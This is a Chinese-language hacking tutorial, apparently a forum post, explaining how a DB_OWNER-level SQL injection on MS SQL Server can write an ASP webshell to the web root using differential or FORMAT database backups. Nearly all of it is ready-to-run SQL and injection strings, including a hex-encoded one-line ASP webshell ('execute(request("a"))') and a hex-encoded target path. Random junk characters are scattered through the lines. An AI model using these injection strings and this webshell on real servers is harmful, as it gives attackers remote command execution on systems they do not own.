DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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一利用差异备份
加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: h# J9 e& c9 k8 jcreate table [dbo].[xiaolu] ([cmd] [image]);
7 Q0 z" f& h# y3 p- @: B/ D/ l2 O  Kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

. e4 B1 |. U. U: T* P' `3 E, U二利用完全FORMAT
, A$ Y! b% a5 ?' r3 Z( f加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 K2 {0 W$ K! O5 I6 Ecreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

8 ^- Q7 X( e( {* f5 b" j5 _% H总的来说就是那么简单几句,下面以备份数据库model为例子
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+ E" j% ~4 u4 N3 w0 q$ S; {' E. Z0 b, cid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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